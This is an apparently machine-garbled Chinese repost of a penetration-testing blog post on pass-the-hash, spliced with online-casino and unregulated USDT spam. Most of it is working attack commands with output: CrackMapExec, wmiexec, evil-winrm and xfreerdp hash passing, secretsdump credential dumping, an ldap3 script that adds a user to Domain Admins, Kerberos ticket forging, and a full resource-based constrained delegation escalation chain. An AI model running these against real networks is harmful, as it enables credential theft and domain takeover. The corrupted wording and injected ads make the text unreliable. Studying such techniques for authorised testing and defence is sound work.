通报哈希的另类用法(pth)

您还记得第一次passed the hash吗? 它可能有点像这样:

msf > use exploit/windows/ *** b/psexec
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.57.133:443 -> 192.168.57.131:1045)

若是您不熟悉 Metasploit PSexec 模块

好吧,现在我们不再真的这样做。你可能会像这样做

cme  *** b 10.0.0.20 -u user -H BD1C6503987F8FF006296118F359FA79 -d domain.local
SMB     10.0.0.20   445  PC01   [*] Windows Server 2012 R2 Standard 9600 x64 (name:PC01) (domain:domain.local) (signing:False) (SMBv1:True)
SMB     10.0.0.20   445  PC01    [+] domain.local\user BD1C6503987F8FF006296118F359FA79 (Pwn3d!)

那就是使用CrackMapExec来通报哈希值。正如你可能已经知道,CrackMapExec的焦点主要是impacket,默认的执行方式是使用wmiexec.py,可以使用如下的语法来通过impacket来单独使用它。

wmiexec.py domain.local/user@10.0.0.20 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>

您会发现,基本上impacket的示例方式都允许您去通报哈希。

接下来我要谈的是一些对你来说对照新颖的通报哈希的方式。

WinRM

内容: 简要地说Windows远程治理(WinRM)是另一种远程治理WMI和其他类似协议的方式。而且使用一组差别的端口。WinRM使用5985端口(HTTP)或者5986(HTTPS)。

用途: 有时候你会发SMB没有打开, 或者某些终端珍爱阻止您使用尺度的工具集。

作法: 可以使用包罗CrackMapExec在内的种种工具来完成此操作,但现在我对照喜欢evil-winrm,由于它珍爱许多其他的特点。用evil-winrm 来通报hash异常容易,它看起来像这样:

ruby evil-winrm.rb -i 10.0.0.20 -u user -H BD1C6503987F8FF006296118F359FA79

Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\user\Documents>

资源:

https://pentestlab.blog/2018/05/15/lateral-movement-winrm/
https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/

RDP

内容: 远程桌面是一项程序或操作系统功效,它使客户能够毗邻到其他位置的计算机,查看该计算机的桌面并与它举行交互,就好像在内陆计算机操作一样。

用途:通常,在渗透测试时代,你可能希望接见用户系统上安装的只能通过图形化界面使用的软件。这可能是通过GUI轻松导出的密码治理器或者是其他软件,这些软件可以执行原本不能能/难以使用操作。您可能想要通报无法无法破解的NT hash和接受他们的会话。

作法:你可以使用xfreerdp来通报哈希。然则,有一个主要的忠告,那就是只有在系统启用了"受限治理模式"时才有可能。若是未启用该功效,而您实验pth,则会收到一个错误信息,指出"帐户限制阻止该用户登录.默认情形下,"受限治理模式"为禁用状态。好消息是若是您具有对该系统的治理员接见权限以及对SMB/WinRM/等,则可以远程启用这个功效。

cme  *** b 10.0.0.200 -u Administrator -H 8846F7EAEE8FB117AD06BDD830B7586C -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
SMB 10.0.0.200 445 DESKTOP [*] Windows 10.0 Build 18362 x64 (name:DESKTOP) (domain:DESKTOP) (signing:False) (SMBv1:False)
SMB 10.0.0.200 445 DESKTOP [+] DESKTOP\Administrator 8846F7EAEE8FB117AD06BDD830B7586C (Pwn3d!)
SMB 10.0.0.200 445 DESKTOP [+] Executed command
SMB 10.0.0.200 445 DESKTOP The operation completed successfully.

一旦设置了注册表项,就可以使用xfreerdp通报哈希值

xfreerdp /v:192.168.2.200 /u:Administrator /pth:8846F7EAEE8FB117AD06BDD830B7586C

资源:

https://www.kali.org/penetration-testing/passing-hash-remote-desktop/
https://shellz.club/pass-the-hash-with-rdp-in-2019/
https:// labs。 f-secure.com/blog/undisable/

*** bclient

内容: *** bclient 是类似于FTP的客户端,用于与SMB/CIFS资源交互。

用途:只管恢复了有用的哈希值,但有时您可能仍无权对系统举行治理接见。思量如下场景:

你控制了一台主机而且转储了哈希,其中之一属于财政负责人。他们没有对基础结构的治理接见权,但可以接见文件服务器上搜集的保密数据。

作法: *** bclient 拥有-pw-nt-hash 标志,可用于通报NT Hash

 *** bclient //10.0.0.30/Finance -U user --pw-nt-hash BD1C6503987F8FF006296118F359FA79 -W domain.local
Try "help" to get a list of possible commands.
 *** b: \>

LDAP

内容: Active Directory(流动目录)是Windows通用目录服务的实现,该服务使用LDAP作为其主要接见协议。

用途:通常,我发现最好的流动目录攻击链通常涉及行使ACLS。思量一个常见的渗透测试场景:您已经获得对IT治理员组的用户的NT hash的接见权限,该治理员可以通过exchange 服务器举行治理员接见。您没有通过域控制器的治理员接见权限。Exchange服务器是Exchange Trusted Subsystem组的成员,而该组是Exchange Trusted Subsystem的组成员,这个组对域具有WriteDACL接见权限。同样主要的是,获取计算机账户和密码,而且这些密码实际上不能破解的,这就是为什么通报哈希值异常有用的缘故原由。

作法:首先,为Exchange服务器恢复NT hash

secretsdump.py ituser@10.0.0.40 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
DOMAIN\EXCHANGE$:aes256-cts-hmac-sha1-96:fbc8df96a7709ec33edc50d2d9394d8e28c6bc65697f9bdfaf78009850cfa69d
DOMAIN\EXCHANGE$:aes128-cts-hmac-sha1-96:fe0acc236a82bd74fdcaa593f51481f2
DOMAIN\EXCHANGE$:des-cbc-md5:cd4308d6f285fc82
DOMAIN\EXCHANGE$:aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248:::

拥有Exchange服务器的NT hash后,就可以用ldap3向域控制器举行身份验证,并通过通报哈希举行身份验证。从这里您可以执行许多操作,好比包罗将控制的用户添加到Domain Admins组等简朴攻击。在此示例中,您固然也可以使用Exchange账户通过secretsdump.py举行Dcsync。若是你只是获取到了Server Operators 组成员的NT hash,则将无法举行Dcsync,但可以使用此方式将用户添加到某些组以扩展接见权限。

python3
>>> import ldap3
>>> user = 'DOMAIN\\EXCHANGE$'
>>> password = 'aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248'
>>> server = ldap3.Server('DOMAIN.LOCAL')
from ldap3 import Server, Connection, SIMPLE, SYNC, ALL, SASL, NTLM
connection = ldap3.Connection(server, user=user, password=password, authentication=NTLM)
>>> connection.bind()
>>> from ldap3.extend.microsoft.addMembersToGroups import ad_add_members_to_groups as addUsersInGroups
>>> user_dn = 'CN=IT User,OU=Standard Accounts,DC=domain,DC=local'
>>> group_dn = 'CN=Domain Admins,CN=Users,DC=domain,DC=local'
>>> addUsersInGroups(connection, user_dn, group_dn)
True

资源:

https://pentestlab.blog/2019/09/12/microsoft-exchange-acl/

Pass the Ticket

内容: 通过票证(ptT) 是一种使用Kerberos票证对系统举行身份验证的方式,而无需接见账户密码。

用途:可能无法通过NTLM举行身份验证,而且仅允许Kerberos身份验证。我甚至不会实验去先容Kerberos协议若何事情(真心地说我也没很好掌握它),然则领会若何在攻击中使用它异常有用。

,

欧博手机版下载ALLbet6.com

欢迎进入欧博手机版下载(Allbet Game):www.aLLbetgame.us,欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。

,

作法:在Linux上建立Kerberos票据的一样平常做法是使用带有用户名、域和密码的kinit。若是您没有密码,这是一个问题。幸运地是,impacket 有一个工具,允许您使用NT哈希从域控制器中获取有用的票证授予票证(TGT).不幸地是,Linux发行版通常没有安装Kerberos工具,您需要对其举行设置。

  • 安装Kerberos软件包
  • 设置AD领域
  • 使DNS正常事情
  • 同步time

要使用NT hash建立Kerberos的TGT,请运行如下下令:

python3 getTGT.py -hashes aad3b435b51404eeaad3b435b51404ee:B65039D1C0359FA797F88FF06296118F domain.local/user

Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Saving ticket in user.ccache

您将需要将票证复制到/tmp/krb5cc_0,由于许多工具都在该位置查找票证。你赞成需要将KRB5CCNAME 环境变量设置为票据所在的位置,由于某些工具使用它来寻找票据的位置。

cp user.ccache /tmp/krb5cc_0
export KRB5CCNAME=/tmp/krb5cc_0

你可以使用klist验证票据。

klist
Credentials cache: FILE:/tmp/krb5cc_0
Principal: user@domain.local

Issued                Expires               Principal

现在,您已经有了凭证,可以将其与所有impacket工具一起使用,用来提供密码或者NT哈希的备选方案。正如你接下来看到的那样,这将在某些特定情形下异常有用。请注意,无论何时使用Kerberos身份验证,您都将要使用目的的DNS名称而不是IP地址。(*坑点)

资源:

https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf

Mount

内容:在Linux上,可以选择cifs挂载方式的工具将windows共享安装在内陆目录树中特点的位置上。

用途:虽然我们可以使用 *** bclient通报哈希,但其类似FTP的接口可能会受到限制.挂载共享通常更有用,这样你就可以通过Linux下令行或GUI文件浏览器与之交互。为了增添用户体验,你甚至可以使用SSHFS公然此挂载点,因此您可以在内陆Windows或Mac文件浏览器的恬静环境下浏览共享。

作法:挂载共享时,您不能通报哈希, 但可以毗邻Kerberos票证(通过通报哈希获得)。使用类似于如下的下令来安装共享。若是失败,并显示错误"No such file or directory",这通常意味着您的票据不合法,或者权限不允许挂载查看。

sudo mount -t cifs -o sec=krb5,vers=3.0 '//SERVER.DOMAIN.LOCAL/SHARE' /mnt/share

ssh

内容: SSH协议(也成为Secure Shell)是一种用于从一台计算机到另一台计算机举行平安远程登录的方式。

用途:SSH是登录Unix和Linux系统的尺度方式。windows的所有exec方式都不能用。通常,唯一真正远程接见这些系统的方式是通过SSH协议。在大型组织中,我经常发现Linux系统会被加进流动目录中。若是你有许多域组,请搜索他们以查看名称中是否包罗unix/linux,这说明unix/linux系统可能已经加入域了。

作法:您无法将哈希通报给SSH,然则可以与Kerberos票证(通过通报哈希获得)毗邻。首先实验,使用SSH链接并启用详细信息。

ssh -o GSSAPIAuthentication=yes user@domain.local -vv
debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password
debug1: Next authentication method: gssapi-with-mic
debug1: Unspecified GSS failure.  Minor code may provide more information
No Kerberos credentials available (default cache: FILE:/tmp/krb5cc_1045)

您可能会看到它在其他地方期待krb5票据(取决于您的UID),因此将票证移到那里。

cp user.ccache /tmp/krb5cc_1045

一旦将你的票据放置准确,实验再去毗邻。若是仍然没有起作用,还可以使用 -l 来指定用户名。

ssh -o GSSAPIAuthentication=yes user@domain.local

[user@computer ~]$

基于资源的约束委派(RBCD)

内容:若是您对计算机具有写特权(WriteDACL, GenericWrite, GenericAll等).则可以在该工具获取的提升权限的下令执行力。

这不是将哈希通报到前面提到之外的新方式,然则此攻击链连系了多种PTH手艺,好比通过SMB举行PTH,将PTH通报给LDAP,PTH获取Kerberos票据,并最终通过票证。

在此实例中,我们假设一个计算机工具具有对另一计算机工具的写权限。

用途:通常,我发现的环境中没有简朴的攻击路径,而且流动目录的权限提升需要基于ACL的攻击。

作法:

首先,将具有治理接见权限的用户的Hash通报到第一台计算机,以恢复该计算机的NT Hash

secretsdump.py ituser@PC01.domain.local -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
DOMAIN\$:aes256-cts-hmac-sha1-96:fbc8df96a7709ec33edc50d2d9394d8e28c6bc65697f9bdfaf78009850cfa69d
DOMAIN\PC01$:aes128-cts-hmac-sha1-96:fe0acc236a82bd74fdcaa593f51481f2
DOMAIN\PC01$:des-cbc-md5:cd4308d6f285fc82
DOMAIN\PC01$:aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248:::

第二 使用rbcd_permissions 剧本通过LDAP将计算机账户的哈希通报到控制器,用于更新第二台计算机的msDS-AllowedToActOnBehalfOfOtherIdentity属性。浙江允许第一台计算机模拟该系统上任何的域用户。

python3 rbcd.py -u PC01$ -H aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248 -t 'CN=PC02,CN=Computers,DC=domain,DC=local' -d domain.local -c 'CN=PC01,CN=Computers,DC=domain,DC=local'  -l DC1.domain.local
Successfully added permissions!

使用impacket的 getST.py剧本使用第一台计算机的hash去为第二台计算机建立一个治理员权限的服务票据。

getST.py -spn cifs/PC02 -hashes aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248 -impersonate DA domain.local/PC01\$ 
[*] Getting TGT for user
[*] Impersonating DA
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in DA.ccache

建立票据后,ptt到第二台计算机以获得对他的治理接见权限。转储哈希值,反弹shell或者做任何你想要在该系统做的事情。

资源:

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution
https://www.thehacker.recipes/active-directory-domain-services/movement/abusing-kerberos/kerberos-delegations,resource-based-constrained-delegations-rbcd

总结

无论有/无通报hash以及Linux/Window的情形, 都有许多执行上述操作的方式。然则我想展示一下我发现的在通报哈希值异常有用的方式。由于开放源代码工具(OST)开发人员以及对这些手艺举行了详细描述的博客作者的精彩事情,使得许多事情都是可能的。

本文为翻译文章,原文链接:https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/


Allbet Gaming声明:该文看法仅代表作者自己,与本平台无关。转载请注明:usdt第三方支付(caibao.it):通报哈希的另类用法(pth)
发布评论

分享到:

usdt不用实名买卖(www.uotc.vip):贵州出好茶,广东来营销
1 条回复
  1. 皇冠足球
    皇冠足球
    (2021-07-29 00:06:17) 1#

    菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。第一次看,讲的啥

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。